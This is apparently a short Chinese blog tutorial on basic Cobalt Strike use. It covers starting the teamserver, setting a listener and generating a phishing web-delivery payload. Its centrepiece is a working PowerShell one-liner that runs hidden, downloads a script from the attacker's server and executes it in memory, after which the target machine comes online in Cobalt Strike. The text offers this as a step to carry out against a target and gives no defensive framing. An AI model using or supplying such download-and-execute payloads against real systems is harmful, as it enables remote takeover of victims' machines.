前言
- Cobalt Strike基本学习
一、基础了解CS
启动CS
基本架构是C/S，所以得先启动服务器
然后连接上去
这是界面
kali里面也可以使用命令启动
让目标连接上teamserver
1、设置监听器
2、生成攻击载荷，在钓鱼攻击里面的脚本web传递
①url 它是个文件路径
②就是让目标通过这个地址和端口下载恶意脚本
③目标机子运行
得到payload
1 | powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.0.101:26240/a'))" |
访问:26240/a路径的ip会发现有恶意代码
这份代码就是 powershell运行 加载到内存执行
3、目标机执行payload
接着就上线cs了
二、个人博客
孤桜懶契：http://gylq.gitee.io
